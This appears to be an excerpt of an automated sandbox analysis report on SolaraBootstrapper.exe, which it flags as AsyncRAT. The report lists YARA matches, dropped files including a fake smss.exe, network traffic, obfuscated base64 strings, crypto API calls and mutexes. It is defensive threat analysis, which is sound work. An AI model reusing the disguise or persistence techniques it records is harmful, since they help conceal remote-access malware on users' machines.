Source: msedgewebview2.exe, 0000003A.00000002.1702269800.00003698004F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.so.com/s?ie=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yxtg.3zwx.cn/tg/ttfc.html?sc=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yxtg.flamebird.cn/tg/ttfc.html?sc=
Source: msedgewebview2.exe, 0000003A.00000002.1702365321.0000369800540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yxtg.taojike.com.cn/tg/ttfc.html?sc=

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 62705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62710

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.3:443 -> 192.168.2.8:62706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62716 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 45.2.smss.exe.26be140.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
Source: 2.0.Bootstrapper.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.SolaraBootstrapper.exe.401867.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 10.2.fontreview.exe.267c4e8.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many base64-encoded IR and analysis tools names Author: ditekSHen
Source: 3.2.Bootstrapper.exe.4017d7.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.Bootstrapper.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.SolaraBootstrapper.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\Bootstrapper.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0077718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

4_2_0077718C

Source: C:\ProgramData\Bootstrapper.exe	Code function: 3_2_0041E9D1	3_2_0041E9D1
Source: C:\ProgramData\Bootstrapper.exe	Code function: 3_2_0041EDFC	3_2_0041EDFC
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077857B	4_2_0077857B
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077407E	4_2_0077407E
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079D00E	4_2_0079D00E
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_007870BF	4_2_007870BF
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_007A1194	4_2_007A1194
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_007902F6	4_2_007902F6
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077E2A0	4_2_0077E2A0
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00773281	4_2_00773281
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00786646	4_2_00786646
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079473A	4_2_0079473A
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079070E	4_2_0079070E
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_007727E8	4_2_007727E8
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_007837C1	4_2_007837C1
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077E8A0	4_2_0077E8A0
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00794969	4_2_00794969
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077F968	4_2_0077F968
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00786A7B	4_2_00786A7B
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00783A3C	4_2_00783A3C
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079CB60	4_2_0079CB60
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00790B43	4_2_00790B43
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00785C77	4_2_00785C77
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00783D6D	4_2_00783D6D
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077ED14	4_2_0077ED14
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078FDFA	4_2_0078FDFA
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077DE6C	4_2_0077DE6C
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077BE13	4_2_0077BE13
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00790F78	4_2_00790F78
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_00775F3C	4_2_00775F3C
Source: C:\ProgramData\SolaraBootstrapper.exe	Code function: 6_2_026C0890	6_2_026C0890
Source: C:\ProgramData\SolaraBootstrapper.exe	Code function: 6_2_026C0880	6_2_026C0880
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 29_2_00007FFB4B3130E9	29_2_00007FFB4B3130E9
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B274216	45_2_00007FFB4B274216
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B274FC2	45_2_00007FFB4B274FC2
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B26F813	45_2_00007FFB4B26F813
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B26F829	45_2_00007FFB4B26F829
Source: C:\Program Files\Uninstall Information\smss.exe	Code function: 45_2_00007FFB4B265690	45_2_00007FFB4B265690

Source: Joe Sandbox View

Dropped File: C:\ProgramData\SolaraBootstrapper.exe A7FECFC225DFDD4E14DCD4D1B4BA1B9F8E4D1984F1CDD8CDA3A9987E5D53C239

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: String function: 0078ED00 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: String function: 0078E360 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: String function: 0078E28C appears 35 times

Source: fontreview.exe.4.dr

Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: SolaraBootstrapper.exe	Binary or memory string: OriginalFilename vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000003.1365694673.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000003.1365694673.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000002.1375235411.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000001.00000002.1375235411.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1615946886.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dllT vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWebView2Loader.dll~/ vs SolaraBootstrapper.exe
Source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWpf.Ui.dll. vs SolaraBootstrapper.exe

Source: SolaraBootstrapper.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 45.2.smss.exe.26be140.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
Source: 2.0.Bootstrapper.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.SolaraBootstrapper.exe.401867.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 10.2.fontreview.exe.267c4e8.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_References_SecTools_B64Encoded author = ditekSHen, description = Detects executables referencing many base64-encoded IR and analysis tools names
Source: 3.2.Bootstrapper.exe.4017d7.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.Bootstrapper.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.SolaraBootstrapper.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000002.00000000.1357862507.00000000003E2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\Bootstrapper.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: Bootstrapper.exe0.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Bootstrapper.exe.1.dr, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Bootstrapper.exe.1.dr, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: Bootstrapper.exe.1.dr, mvmiaX7D1guOjuFvjFbP38PtPIHQcacCQMLWmF88r3TO34v6nSAZRaOxQ2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, mvmiaX7D1guOjuFvjFbP38PtPIHQcacCQMLWmF88r3TO34v6nSAZRaOxQ2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, CexVB5asxcP69N95GmTU5vFvW6wzUIpqtdtYbQOUEBpGessMA6yWQEPLTa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, mvmiaX7D1guOjuFvjFbP38PtPIHQcacCQMLWmF88r3TO34v6nSAZRaOxQ2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AYPbygI6thTL64gAPb6.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, AYPbygI6thTL64gAPb6.cs	Cryptographic APIs: 'CreateDecryptor'

Source: Bootstrapper.exe.1.dr, dvstzINp4nIbGcb4V7q1O7iwmC.cs	Base64 encoded string: 'je8d8Q597mhJATMUQWFdGRaPnHyiYMpuaQy3zAxBWd9OD80OIqaXBn0iWbU9oMOgamoaSMZYlkds', 'Nms0sJLXxBxBkhnMXehaHtYB1mL55YBqgcraxZpMlzbzxcYQFwcml8vjVCNld8ntq4KimuDHrmyL', 'RBQDZ6bsyLGtqWhWD86Fnk4Qxvvn3pWE0JIdSonRachOrKxYJa25VSuisMKgVCevFtrYCOu1zgML', 'm2QnV8KvuD68vIYo6OYuP7NzU3E2GSYKzYmSU53vZ8XpxL5SFzazGgmfPAV0zX1LkpKAn7FbyeCP', 'HxXZ8FVyIqrG0kc1KkmVMVvD2ARGjVSMe75T81lvD1e7xm6EVvoTG7rhzCMaRRBDqckDHiUd7R8L'
Source: Bootstrapper.exe.1.dr, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Base64 encoded string: 'sB3azCrCqyi6fcjOXDsASA0PBS0g7w42aecLQGMEAAITeLpPlEMcJ82BMltYr0FWf0L3TRkim2Qj', 'hqqeuT4yxOwidlaKmG1w8lgoGvjnNsnT6Jaq7eBsGDPeSO7GZzE7ucPheIrVEuBYfGH4i2yc45RU', 'QPIHrRug6eA5Lr81Jrlhmbn6XrEwJsYvx3d0jcoUx07OY5CHnsoa9bOcQ9aThNJ8oeDfW0JVMyd4', 'RvQjdeVCTfwG02zbHdLAJUBVHMdIvOLuNj6DTL9yQ3H1tgXaYOCdnjp2KUuWZ0d32DKmmPXuSWRj', 'XUy4eastBLnnDSliiEfq2vLL7C5d5I8RPbOUCVzYWnLnH5YIdYxphmcFW7kDgKoBRGuRcxj0YtjI', 'hiFlIEyDyrT6FmBfXetZzf2LiPR7MICROtyRLrnZBI4ARy5PbZOC4BuV4e69oNt8i20B5V5muu7h', 'n52m8r1JsuCgjVtW1fN9UsDaJaOg1LeUhaO7DoocZYqAhP4ycOYI0kpVVXHC5ERojVKprvhZdrey', 'mL6Bx2AMAmdgSn0uPF3QoNNxtlYGbvy3frXsR18nz6g1ZH2ur6QTpWzf26Js3Q0ULorpL0hXcD1V', 'HdGduHg8vkysP3VHbOcAxOZzIx3YL2gcZMuLiOHz0YikWDJ1oJybMEEkGeXaAzVeq56DcgCuhRbj', 'Q2WXVDy5ZnpO7qpfQ9gcPwUMleXibQ3Y0bJQi8Uw6Kk8qk1uUPbtmzo8R1pNhvDuIZeq7diEotY2', 'YS4KUoEX7uG6ITumJq0wQYv673Yb6Ms6skzMLnbvxo9peK3drtQ8eKsSXOjmwkQIM84qRfQnwTgc', 'm0VSMtRzONgk8FS2kXqekXrNbCmS7VrFQHQlvuHYJDJWx5QZf1Ul8o47b37dhKb5AzY0nyFWMVxn'
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, dvstzINp4nIbGcb4V7q1O7iwmC.cs	Base64 encoded string: 'je8d8Q597mhJATMUQWFdGRaPnHyiYMpuaQy3zAxBWd9OD80OIqaXBn0iWbU9oMOgamoaSMZYlkds', 'Nms0sJLXxBxBkhnMXehaHtYB1mL55YBqgcraxZpMlzbzxcYQFwcml8vjVCNld8ntq4KimuDHrmyL', 'RBQDZ6bsyLGtqWhWD86Fnk4Qxvvn3pWE0JIdSonRachOrKxYJa25VSuisMKgVCevFtrYCOu1zgML', 'm2QnV8KvuD68vIYo6OYuP7NzU3E2GSYKzYmSU53vZ8XpxL5SFzazGgmfPAV0zX1LkpKAn7FbyeCP', 'HxXZ8FVyIqrG0kc1KkmVMVvD2ARGjVSMe75T81lvD1e7xm6EVvoTG7rhzCMaRRBDqckDHiUd7R8L'
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Base64 encoded string: 'sB3azCrCqyi6fcjOXDsASA0PBS0g7w42aecLQGMEAAITeLpPlEMcJ82BMltYr0FWf0L3TRkim2Qj', 'hqqeuT4yxOwidlaKmG1w8lgoGvjnNsnT6Jaq7eBsGDPeSO7GZzE7ucPheIrVEuBYfGH4i2yc45RU', 'QPIHrRug6eA5Lr81Jrlhmbn6XrEwJsYvx3d0jcoUx07OY5CHnsoa9bOcQ9aThNJ8oeDfW0JVMyd4', 'RvQjdeVCTfwG02zbHdLAJUBVHMdIvOLuNj6DTL9yQ3H1tgXaYOCdnjp2KUuWZ0d32DKmmPXuSWRj', 'XUy4eastBLnnDSliiEfq2vLL7C5d5I8RPbOUCVzYWnLnH5YIdYxphmcFW7kDgKoBRGuRcxj0YtjI', 'hiFlIEyDyrT6FmBfXetZzf2LiPR7MICROtyRLrnZBI4ARy5PbZOC4BuV4e69oNt8i20B5V5muu7h', 'n52m8r1JsuCgjVtW1fN9UsDaJaOg1LeUhaO7DoocZYqAhP4ycOYI0kpVVXHC5ERojVKprvhZdrey', 'mL6Bx2AMAmdgSn0uPF3QoNNxtlYGbvy3frXsR18nz6g1ZH2ur6QTpWzf26Js3Q0ULorpL0hXcD1V', 'HdGduHg8vkysP3VHbOcAxOZzIx3YL2gcZMuLiOHz0YikWDJ1oJybMEEkGeXaAzVeq56DcgCuhRbj', 'Q2WXVDy5ZnpO7qpfQ9gcPwUMleXibQ3Y0bJQi8Uw6Kk8qk1uUPbtmzo8R1pNhvDuIZeq7diEotY2', 'YS4KUoEX7uG6ITumJq0wQYv673Yb6Ms6skzMLnbvxo9peK3drtQ8eKsSXOjmwkQIM84qRfQnwTgc', 'm0VSMtRzONgk8FS2kXqekXrNbCmS7VrFQHQlvuHYJDJWx5QZf1Ul8o47b37dhKb5AzY0nyFWMVxn'
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, dvstzINp4nIbGcb4V7q1O7iwmC.cs	Base64 encoded string: 'je8d8Q597mhJATMUQWFdGRaPnHyiYMpuaQy3zAxBWd9OD80OIqaXBn0iWbU9oMOgamoaSMZYlkds', 'Nms0sJLXxBxBkhnMXehaHtYB1mL55YBqgcraxZpMlzbzxcYQFwcml8vjVCNld8ntq4KimuDHrmyL', 'RBQDZ6bsyLGtqWhWD86Fnk4Qxvvn3pWE0JIdSonRachOrKxYJa25VSuisMKgVCevFtrYCOu1zgML', 'm2QnV8KvuD68vIYo6OYuP7NzU3E2GSYKzYmSU53vZ8XpxL5SFzazGgmfPAV0zX1LkpKAn7FbyeCP', 'HxXZ8FVyIqrG0kc1KkmVMVvD2ARGjVSMe75T81lvD1e7xm6EVvoTG7rhzCMaRRBDqckDHiUd7R8L'
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Base64 encoded string: 'sB3azCrCqyi6fcjOXDsASA0PBS0g7w42aecLQGMEAAITeLpPlEMcJ82BMltYr0FWf0L3TRkim2Qj', 'hqqeuT4yxOwidlaKmG1w8lgoGvjnNsnT6Jaq7eBsGDPeSO7GZzE7ucPheIrVEuBYfGH4i2yc45RU', 'QPIHrRug6eA5Lr81Jrlhmbn6XrEwJsYvx3d0jcoUx07OY5CHnsoa9bOcQ9aThNJ8oeDfW0JVMyd4', 'RvQjdeVCTfwG02zbHdLAJUBVHMdIvOLuNj6DTL9yQ3H1tgXaYOCdnjp2KUuWZ0d32DKmmPXuSWRj', 'XUy4eastBLnnDSliiEfq2vLL7C5d5I8RPbOUCVzYWnLnH5YIdYxphmcFW7kDgKoBRGuRcxj0YtjI', 'hiFlIEyDyrT6FmBfXetZzf2LiPR7MICROtyRLrnZBI4ARy5PbZOC4BuV4e69oNt8i20B5V5muu7h', 'n52m8r1JsuCgjVtW1fN9UsDaJaOg1LeUhaO7DoocZYqAhP4ycOYI0kpVVXHC5ERojVKprvhZdrey', 'mL6Bx2AMAmdgSn0uPF3QoNNxtlYGbvy3frXsR18nz6g1ZH2ur6QTpWzf26Js3Q0ULorpL0hXcD1V', 'HdGduHg8vkysP3VHbOcAxOZzIx3YL2gcZMuLiOHz0YikWDJ1oJybMEEkGeXaAzVeq56DcgCuhRbj', 'Q2WXVDy5ZnpO7qpfQ9gcPwUMleXibQ3Y0bJQi8Uw6Kk8qk1uUPbtmzo8R1pNhvDuIZeq7diEotY2', 'YS4KUoEX7uG6ITumJq0wQYv673Yb6Ms6skzMLnbvxo9peK3drtQ8eKsSXOjmwkQIM84qRfQnwTgc', 'm0VSMtRzONgk8FS2kXqekXrNbCmS7VrFQHQlvuHYJDJWx5QZf1Ul8o47b37dhKb5AzY0nyFWMVxn'

Source: Bootstrapper.exe.1.dr, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Bootstrapper.exe.1.dr, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, cbywwVrHRBDTvnSxOOl.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.3.Boostraper.bat.6b6750e.0.raw.unpack, cbywwVrHRBDTvnSxOOl.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, cbywwVrHRBDTvnSxOOl.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 4.3.Boostraper.bat.6b6850e.1.raw.unpack, cbywwVrHRBDTvnSxOOl.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, 37Jji6Lv0VqSHHT0aWb1sXKum3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.mine.winEXE@70/862@8/5

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_00776EC9 GetLastError,FormatMessageW,

4_2_00776EC9

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_00789E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

4_2_00789E1C

Source: C:\Media\fontreview.exe

File created: C:\Program Files\Uninstall Information\smss.exe

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

File created: C:\Users\user\AppData\Roaming\Bootstrapper.exe

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Mutant created: \Sessions\1\BaseNamedObjects\05PdXOXeydLBaIoR
Source: C:\Program Files\Uninstall Information\smss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\da39a3ee5e6b4b0d3255bfef95601890afd80709

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe

